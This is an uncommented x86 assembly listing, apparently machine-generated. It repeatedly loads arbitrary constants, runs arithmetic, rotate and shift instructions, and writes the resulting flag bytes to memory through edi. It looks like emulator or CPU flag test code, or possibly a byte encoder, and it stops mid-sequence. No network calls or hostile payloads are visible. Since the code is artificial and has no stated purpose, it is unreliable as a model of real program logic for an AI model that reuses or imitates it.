cmp eax, ecx
mov eax, 0x53ce561c
aaa
mov eax, 0x61fc5440
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe7a0e0
rol eax, 1
mov ebx, 0x7e3987d2
mov ecx, 0xc6000192
rol ebx, cl
mov eax, 0x8e743944
inc eax
mov edx, 0xc8f83b9d
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6028c091
mov ecx, 0x5141d022
add eax, ecx
mov ecx, 0x42f9289f
inc ecx
mov ebx, 0x5831ecf1
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc311187a
cmp eax, 0x6c7603da
mov eax, 0x9f13ef6d
aaa
mov ebx, 0xf8705177
rol ebx, 1
mov ebx, 0xdb210760
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x171b4664
rol edx, 1
mov ebx, 0x51f6b4ef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xda11f63f
mov ebx, 0x377647c7
add eax, ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1c8b0e09
mov eax, 0xb1681f15
add edx, eax
mov eax, 0xa3173880
dec eax
mov edx, 0x59b39c62
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x15a31db5
sub eax, 0x10a0f1c4
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x53b87bff
mov ecx, 0x961bda05
rol eax, cl
mov eax, 0xad932fe6
mov ecx, 0x1282bd0b
rol eax, cl
mov eax, 0x52df60df
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8071e524
aaa
mov eax, 0x71738e62
mov ecx, 0xf9e26d8d
ror eax, cl
mov ebx, 0x2d48364e
rol ebx, 1
mov edx, 0x9f92676c
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb8d7a40
mov ecx, 0xa424713b
ror eax, cl
mov ecx, 0x43af9283
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x4ef2f09b
mov ebx, 0x8943455a
cmp ecx, ebx
mov ebx, 0xea4edbe0
add ebx, 0xb76f2c7b
mov eax, 0xaa55dc68
mov ecx, 0xe10c238b
rol eax, cl
mov ebx, 0x1e8a886a
mov ecx, 0x60f59618
ror ebx, cl
mov eax, 0xfd66adb4
aas
mov eax, 0x3ec00eef
shl eax, 1
mov ecx, 0x859f8c00
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xc784a17b
mov ecx, 0x899738d7
rol edx, cl
mov eax, 0x7ee25c2
mov ecx, 0x4169fe4a
ror eax, cl
mov ebx, 0x385a7060
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaabdcb75
mov ecx, 0x82145e34
ror edx, cl
mov ebx, 0x7475bf2c
rol ebx, 1
mov edx, 0x2557537c
rol edx, 1
mov ebx, 0xe036d23f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xad414139
rol edx, 1
mov eax, 0x301f87f
inc eax
mov ebx, 0xce3d5957
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x558e8706
sal ebx, 1
mov edx, 0x3c9af796
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc4f26d37
sal eax, 1
mov eax, 0xe705bc2f
cmp eax, 0x135aaba7
mov eax, 0x85144e8c
aas
mov ebx, 0xcba4bf97
mov ecx, 0x8a378cce
ror ebx, cl
mov edx, 0x892fa89e
neg edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xb4014af
inc ecx
mov edx, 0x9b6cd019
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xe5eddc3a
shl eax, 1
mov eax, 0x691eff60
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x31a9172d
cmp ebx, 0xd32ef515
mov eax, 0x4b31d02d
shl eax, 1
mov edx, 0x4d84512f
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc91c1fb0
mov ecx, 0xb28f230f
rol eax, cl
mov eax, 0x7636d5f3
mov edx, 0xf9376a71
cmp eax, edx
mov edx, 0x22cc0989
sar edx, 0xef
mov eax, 0x47c60b0b
mov ecx, 0xb9a1a4e3
sal eax, cl
mov edx, 0xe975890f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe14440e6
mov ecx, 0xf2578a7b
ror eax, cl
mov edx, 0xa09daaef
mov ecx, 0x23746ce7
sal edx, cl
mov eax, 0x115bbc3d
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3ac26956
rol edx, 1
mov edx, 0x79824ca5
shl edx, 1
mov edx, 0xb863e680
mov ecx, 0x4692600e
ror edx, cl
mov ecx, 0x6d54440f
inc ecx
mov ebx, 0xac0aaa0
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7931799c
shl edx, 1
mov ebx, 0x762fabb9
mov ecx, 0x6c0e1617
sar ebx, cl
mov edx, 0xdd96a630
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x58e90787
mov ecx, 0x9d7011dc
ror edx, cl
mov edx, 0x3c21d428
mov ecx, 0xaa88c162
sal edx, cl
mov edx, 0x77155339
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf4654096
mov ebx, 0x53a29db
cmp ecx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x18e71ef
mov ecx, 0x1daf9711
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3dc023ba
rol eax, 1
mov ecx, 0xd09fd5ca
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x96847926
cmp ebx, 0x7e6d4562
mov edx, 0xaa802043
mov ecx, 0x6b030b2d
rol edx, cl
mov ebx, 0x730a28e1
rol ebx, 1
mov edx, 0x313db056
mov ecx, 0xbd32e9e1
cmp edx, ecx
mov eax, 0x4b52803d
mov ecx, 0xa3dd830c
rol eax, cl
mov ecx, 0xb46b4acd
mov ebx, 0x9bc83c50
sub ecx, ebx
mov eax, 0x5f6e9e01
cmp eax, 0x560f6ebd
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x36d7b77a
mov ecx, 0xa6561365
shl ebx, cl
mov ecx, 0x2030ff6d
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1fe14ba8
dec edx
mov eax, 0x7adeb17c
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc351ebe7
rol ebx, 1
mov eax, 0x9d539688
rol eax, 1
mov eax, 0x2ad8d3c9
sal eax, 0x41
mov edx, 0xb4eeacdd
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x15a10ff1
mov ecx, 0xfa08e4c8
ror ebx, cl
mov ebx, 0xdafe5971
mov eax, 0xd25fa4a7
cmp ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xffae6948
inc eax
mov edx, 0x56866175
mov ecx, 0xcb614105
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x34ba10a
mov ebx, 0x71283546
add eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa1759bb
inc eax
mov ebx, 0x30b3345c
mov ecx, 0x2e22e0e6
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x56efab34
mov ecx, 0x57ce98a2
shl eax, cl
mov ecx, 0x730b6799
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaaf6612
inc edx
mov edx, 0xf9c196b0
mov ecx, 0x5aa8d007
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xab3eea73
rol eax, 1
mov eax, 0xe15f6c9c
shl eax, 0xe5
mov eax, 0x654166a8
mov ecx, 0x1ae6d5d3
sub eax, ecx
mov ecx, 0xc7e2582d
mov eax, 0x27737931
cmp ecx, eax
mov edx, 0x70695bc3
shl edx, 1
mov eax, 0x96f37576
mov ecx, 0x7fb0986e
sub eax, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x8ad3e962
mov ecx, 0x1cc20243
sar ebx, cl
mov ecx, 0x33c60e4
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5b7da3b7
dec eax
mov edx, 0x8bbeeab3
mov ecx, 0x327906e3
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe817b934
mov ecx, 0x4045308
add ebx, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x7634d9f6
sub ecx, 0x5c5d862c
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x3d71f9c
sal ebx, 1
mov ecx, 0x2b2e6a7b
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3cc0ce51
add ecx, 0x8df95599
mov eax, 0x734a7fc8
aaa
mov ecx, 0x21a23f44
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdc8761a6
mov ecx, 0x94c68f4b
ror ebx, cl
mov edx, 0xba23c70a
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7b57634f
inc edx
mov eax, 0x72b08102
mov ecx, 0x75f3a2e6
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xe847254f
inc ecx
mov edx, 0x2a9956cc
mov ecx, 0xe7e0acaf
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe9d39e2d
sal ebx, 1
mov edx, 0x1627b957
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x76be4ca2
dec edx
mov eax, 0x40caf28b
mov ecx, 0xa4351fdb
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x4f70bb42
inc eax
mov edx, 0x707a02dd
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9b5c808c
mov ecx, 0x65cf940a
shl eax, cl
mov ebx, 0xe4a5761
mov ecx, 0x37b5ad5a
ror ebx, cl
mov edx, 0xa86d2e86
mov ecx, 0x288400f9
rol edx, cl
mov eax, 0x12b92733
sub eax, 0x86feb489
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd4ba4c82
mov ecx, 0x51e5ebc6
sar ebx, cl
mov edx, 0x4112abdb
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb66eee43
mov ecx, 0x99e93f23
rol edx, cl
mov ecx, 0x5a649ab0
neg ecx
mov eax, 0x8093aae9
aaa
mov ebx, 0x4001a21a
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x628ac4a5
mov ecx, 0x34f5e4e6
rol eax, cl
mov ebx, 0x4565546f
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbc1d3019
mov ecx, 0x7cf47d42
sar eax, cl
mov eax, 0x91deadf1
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8cfd300b
cmp ebx, 0x4df2428e
lahf
mov byte [edi], ah
inc edi
mov edx, 0x313184b9
rol edx, 1
mov ebx, 0x3bf0bb63
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf8fa1142
aaa
mov eax, 0x3a8713e0
mov ecx, 0xaac67737
ror eax, cl
mov eax, 0x8867bdfd
sal eax, 0x24
mov ebx, 0xf80f738
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x932982e1
mov ebx, 0x56aeaf98
add edx, ebx
mov eax, 0x2e6bfac6
aaa
mov ebx, 0x8d86a978
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x255588e1
rol edx, 1
mov edx, 0x267ab660
mov ecx, 0xd2a56de2
ror edx, cl
mov eax, 0xb15dd049
aaa
mov edx, 0xcc3be0
mov ecx, 0x3aff77ff
ror edx, cl
mov ebx, 0x1fe7bdff
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x598c3d69
sal ebx, 0x67
mov ecx, 0x4d512600
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5589346e
sal eax, 1
mov edx, 0x2cc14a1e
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x12a2a2bb
add eax, 0x7b33d4a0
mov eax, 0x4a1c26a1
aaa
mov ecx, 0xec082f86
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x9723a07e
sub ecx, 0x3420b005
mov ebx, 0x1fe5d9e4
rol ebx, 1
mov ecx, 0x4b0ce570
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x984110eb
mov ecx, 0x63286327
shl edx, cl
mov eax, 0x2672c481
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x4f3b747e
rol edx, 1
mov ebx, 0x5c39e35f
rol ebx, 1
mov ecx, 0x2efb8e33
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x82733b52
mov ecx, 0xaee250df
ror edx, cl
mov edx, 0x5a332e09
rol edx, 1
mov ebx, 0xdcabfceb
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2352e03b
mov ecx, 0xdbdd7f7a
rol eax, cl
mov ecx, 0x7a384270
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe1688b12
dec ebx
mov ebx, 0xac1468e8
mov ecx, 0xe667e8ad
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x24f14f19
mov ecx, 0x74980675
ror eax, cl
mov edx, 0x42449499
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x22bec7d6
mov ecx, 0xc5792525
rol edx, cl
mov ecx, 0x403529b4
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd304e1fc
mov ecx, 0x931770cf
rol ebx, cl
mov ebx, 0x7de7d3cb
mov ecx, 0x5fa61642
shl ebx, cl
mov ebx, 0x11838fc8
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x338adc62
add eax, 0x2dfba840
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xd2deb4c7
sub ebx, 0x9cbf5108
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x64b781a7
rol ebx, 1
mov ebx, 0x33af3f68
shl ebx, 1
mov ebx, 0x5bcba60e
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x79431a2c
rol eax, 1
mov edx, 0xc46d624e
mov eax, 0x8a274b1
sub edx, eax
mov eax, 0x358fca29
aaa
mov ebx, 0x1425cb79
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc6b40c3b
mov ecx, 0x47879f88
ror edx, cl
mov eax, 0xb27698ac
mov ecx, 0x20779d2c
cmp eax, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xd5ac1b3
shl edx, 1
mov eax, 0x156794b0
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xbd75db35
mov ecx, 0xccac7d22
sal edx, cl
mov ecx, 0x262d0815
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf49d2f38
cmp eax, 0x2d128436
mov eax, 0x85e48c6
aaa
mov ebx, 0x4c6a7fe6
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xfec293df
mov ecx, 0x3f0d68e5
ror edx, cl
mov eax, 0xd53c8b49
mov ecx, 0xdb2f97b2
ror eax, cl
mov ebx, 0x28ca3a8
mov ecx, 0x2bbfc743
sal ebx, cl
mov eax, 0x2ab69db7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x55d8fbd7
shl ebx, 1
mov ebx, 0x3a2b25e
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xfb250c3a
mov ecx, 0xb31cd804
rol eax, cl
mov ecx, 0x2f7f776a
mov eax, 0x1b4c2de9
cmp ecx, eax
mov eax, 0x7d76bb71
aas
mov eax, 0x3e50b88d
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x2d2d759c
mov ebx, 0x22620711
add ecx, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x9bba8fe0
aas
mov eax, 0x7117edd1
dec eax
mov eax, 0x7b390f2
mov ecx, 0x1225361
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa8de5d12
sal eax, 0x46
mov edx, 0xf5b65744
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5d456d6f
mov ecx, 0xec9a2f33
cmp edx, ecx
mov eax, 0x47a7126f
aas
mov edx, 0xfe772890
rol edx, 1
mov edx, 0x2b7b2073
add edx, 0x2d98c46b
mov eax, 0x342d349f
aaa
mov eax, 0xbbe5b1ef
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf4c2181e
shl ebx, 1
mov eax, 0xfc2247bf
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x8a85e5e3
add ecx, 0xb0da1df4
mov eax, 0xa6087d
aaa
mov ecx, 0x28897230
dec ecx
mov ebx, 0xc445a0e9
mov ecx, 0x6cbc0bba
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x939fdef1
mov ecx, 0xd93e3430
rol eax, cl
mov edx, 0x7bd8eabe
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdeee5e4
sal eax, 1
mov eax, 0x429b45e7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x946f844e
inc ecx
mov edx, 0x88b47da
mov ecx, 0x9e5ae1c7
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf3feea80
neg ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x6e40efbe
neg eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4a3b3e64
dec ebx
mov ebx, 0x4f175343
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x29a11799
rol ebx, 1
mov edx, 0x17f18c6c
cmp edx, 0xcfd66eb7
mov edx, 0x217d2432
mov ecx, 0x9bd4b251
rol edx, cl
mov eax, 0x2a1fceaf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4296902c
mov ecx, 0x9db11173
ror edx, cl
mov ebx, 0xda70e2b4
mov ecx, 0xa4b36d46
rol ebx, cl
mov eax, 0x7d465018
inc eax
mov eax, 0xef1e34d3
mov ecx, 0x87591143
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x90e2d367
mov ecx, 0x45ad45a5
shl edx, cl
mov edx, 0x5a3a15c6
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xf41dc6cf
rol edx, 1
mov edx, 0x8e8ca5e3
dec edx
mov edx, 0x7783d81
mov ecx, 0xc0dba7f2
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xc4fd6e3d
shl eax, 0x7f
mov edx, 0xaef16ab0
neg edx
mov eax, 0x4ecac959
rol eax, 1
mov eax, 0x15c790a8
mov edx, 0x17f42d1e
add eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa58dc93f
mov edx, 0xa342ec98
sub ebx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd5cbf11f
rol eax, 1
mov eax, 0xbfd2732
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xc09fb84b
aaa
mov eax, 0xe726c409
sal eax, 5
mov edx, 0xda80c3f6
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x630c0037
add eax, 0x4559f0b
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9346e0e8
sal edx, 1
mov eax, 0xf559ea75
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x36d06e03
mov eax, 0xe6c906f1
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xecb664bd
sar ebx, 0x37
mov eax, 0x2e5369f5
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x79685191
add ebx, 0x91815c5e
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x5a44a09f
mov edx, 0x572d05f2
cmp ecx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xa46bd779
rol edx, 1
mov ebx, 0x13c53f7f
inc ebx
mov edx, 0x2741b542
mov ecx, 0xce280592
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x7abee87d
cmp ecx, 0x571f65c7
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xb370f69d
mov edx, 0xb6e94671
add eax, edx
mov eax, 0x80886e70
aaa
mov ebx, 0x1d346ed1
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd0ffbcfe
mov ecx, 0x301e9121
rol edx, cl
mov eax, 0xe0f7bf27
inc eax
mov ebx, 0xddc926a0
mov ecx, 0xa9d009c7
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x240b43b2
aas
mov ebx, 0x983b6f9
rol ebx, 1
mov eax, 0xb8ad8bf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5aad5cb8
mov ecx, 0x3bc42975
rol ebx, cl
mov ebx, 0x3f5c587e
inc ebx
mov ebx, 0xf5485c5d
mov ecx, 0x83ebdeba
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x378cd2fe
mov ecx, 0x7ed5cd72
sub ebx, ecx
mov eax, 0xb7b68093
aaa
mov edx, 0x61a77b6e
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x297025d
mov ecx, 0x49168da9
ror edx, cl
mov ebx, 0xacf00485
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x686cc06
shl ebx, 1
mov edx, 0x7fed80b3
mov ecx, 0xae0451fc
rol edx, cl
mov edx, 0x625c1e10
dec edx
mov ebx, 0xc06ec8c
mov ecx, 0xe6e12317
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x25d5635d
inc edx
mov eax, 0x4a518e57
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x90437e90
mov ecx, 0x11f22a59
sar eax, cl
mov eax, 0x45314584
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x3cfa6f7b
sub edx, 0x52aba769
mov eax, 0x6e871e68
aas
mov edx, 0xe5201b89
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd8aaaf9c
aaa
mov edx, 0x1d4e6930
shl edx, 1
mov eax, 0x2729852f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x926100b3
mov ecx, 0x1186db15
add ebx, ecx
mov eax, 0x73e335e3
aas
mov ecx, 0x1bd35489
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x324bc42e
inc eax
mov edx, 0x443b4954
mov ecx, 0xbaca6dfb
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x99706f3f
rol eax, 1
mov edx, 0x6a7ac060
rol edx, 1
mov eax, 0x55d2c57
rol eax, 1
mov eax, 0xbaf6d97e
rol eax, 1
mov ebx, 0x23f47094
mov ecx, 0xd1c7373e
rol ebx, cl
mov eax, 0x1a250758
mov ecx, 0xee1c0cf6
ror eax, cl
mov ebx, 0xd70300ff
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x333cee5e
rol eax, 1
mov ecx, 0x433ba1be
mov ebx, 0xca58d120
sub ecx, ebx
mov eax, 0x8ded24bb
aas
mov edx, 0xbd3d9967
mov ecx, 0x4e943431
rol edx, cl
mov edx, 0xfc45c82c
mov ecx, 0x84bcb5a7
ror edx, cl
mov edx, 0x87f2e2cd
sar edx, 0x3b
mov edx, 0xe577d140
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x893f46f4
mov eax, 0xd20cdda9
add edx, eax
mov eax, 0x7e3678fe
aaa
mov edx, 0x640d950
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7f70ca91
dec ebx
mov edx, 0xb6218295
mov ecx, 0xcc883b91
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xdc1ee1da
mov ecx, 0x859f58e
ror edx, cl
mov ebx, 0x9c2a75d4
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x76ad2044
mov eax, 0x6de2501d
sub edx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xf1609536
sub eax, 0x36195630
mov eax, 0x1ad5fd05
aaa
mov ecx, 0x39db11e2
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x547f3753
dec ebx
mov eax, 0xb99be6d2
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x4402590f
mov ecx, 0x514d245d
ror eax, cl
mov edx, 0x3f8ba211
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3d4f6320
neg edx
mov edx, 0xa96c02d7
rol edx, 1
mov ebx, 0xb617b02d
mov ecx, 0x9a966d46
ror ebx, cl
mov edx, 0x510f1f7b
mov ecx, 0x666e215e
rol edx, cl
mov ecx, 0x709351af
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5f0b33b2
inc edx
mov edx, 0xe0e736a5
mov ecx, 0x6ea61a4c
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x20fb3f9d
mov ecx, 0x128a821f
rol ebx, cl
mov ecx, 0xac48e3d
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xdec7b9d5
add edx, 0xacf41eda
mov eax, 0xa460446f
aaa
mov ebx, 0x6bf07ad2
mov ecx, 0x8c33bb01
rol ebx, cl
mov eax, 0xa2506dc2
add eax, 0xac49e333
mov eax, 0x7e8b88aa
aaa
mov ebx, 0xde2f1600
sal ebx, 1
mov eax, 0xe5964d9f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa328912
mov ecx, 0x923d7a13
ror eax, cl
mov ebx, 0x115c3d3f
mov ecx, 0x9c65144c
cmp ebx, ecx
mov eax, 0x4306826d
aaa
mov edx, 0x48d16475
mov ecx, 0x3bf8359e
rol edx, cl
mov ecx, 0xf4dab336
add ecx, 0xdd0bc79c
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xe283e461
rol ebx, 1
mov ecx, 0x72735750
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3cc7da71
mov ecx, 0x4e060bbe
ror ebx, cl
mov edx, 0xa60d9e5
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x20ecdf05
add eax, 0x1cb5e7bf
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xa1844430
inc ebx
mov edx, 0x51f0fed8
mov ecx, 0x4a337177
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5efa609f
aaa
mov edx, 0x1720245c
mov ebx, 0xc8d98d01
sub edx, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x31e43f03
mov ecx, 0xa177cd4a
rol ebx, cl
mov eax, 0xd97c22d0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x5fd11029
dec ecx
mov edx, 0x33c2a7ea
mov ecx, 0x280dfc93
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc2271916
mov ecx, 0xce656db
ror edx, cl
mov edx, 0x1ab1770f
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x676e0d89
mov ecx, 0x6ee9781d
rol eax, cl
mov eax, 0x5d949fab
mov edx, 0x203d26f2
add eax, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x6e185f81
rol ebx, 1
mov eax, 0x53c4482b
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x811dd8a8
shl ebx, 1
mov edx, 0xd1fdad60
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x66313dfb
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xaa699fd7
neg ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xc20824e0
rol eax, 1
mov ebx, 0xffd9adf2
sal ebx, 1
mov edx, 0x30026d31
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2d752fe8
sub ecx, 0x310a0133
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xc7f72741
mov eax, 0x966421f9
cmp ebx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9aa64122
mov ecx, 0xc01890b
sar edx, cl
mov eax, 0x41dfc548
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xf9562e9c
rol edx, 1
mov eax, 0x54e29a87
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ee102da
mov ecx, 0xe048cb29
ror eax, cl
mov edx, 0x1bbf5dcc
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x251a038
aaa
mov edx, 0xe45361fe
mov ecx, 0xec42cb9a
rol edx, cl
mov edx, 0x22a86ebb
mov ecx, 0x8acbb084
rol edx, cl
mov ebx, 0x6005b31f
inc ebx
mov edx, 0xf781323a
mov ecx, 0xb768b927
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb80b0c8
dec edx
